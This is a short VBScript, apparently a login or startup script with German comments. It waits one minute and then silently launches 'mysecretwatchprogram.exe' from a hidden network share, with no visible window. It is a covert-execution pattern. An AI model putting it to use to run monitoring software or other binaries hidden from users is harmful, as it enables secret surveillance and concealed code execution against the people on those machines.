Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
wscript.sleep 60000 ' im Speicher warten und nach 1 Minute ausführen
' verdeckt starten und nicht warten
WSHShell.Run "\\mywatchsrv\mywatchshare$\mysecretwatchprogram.exe ", 0, false
'MsgBox("test")
WScript.Quit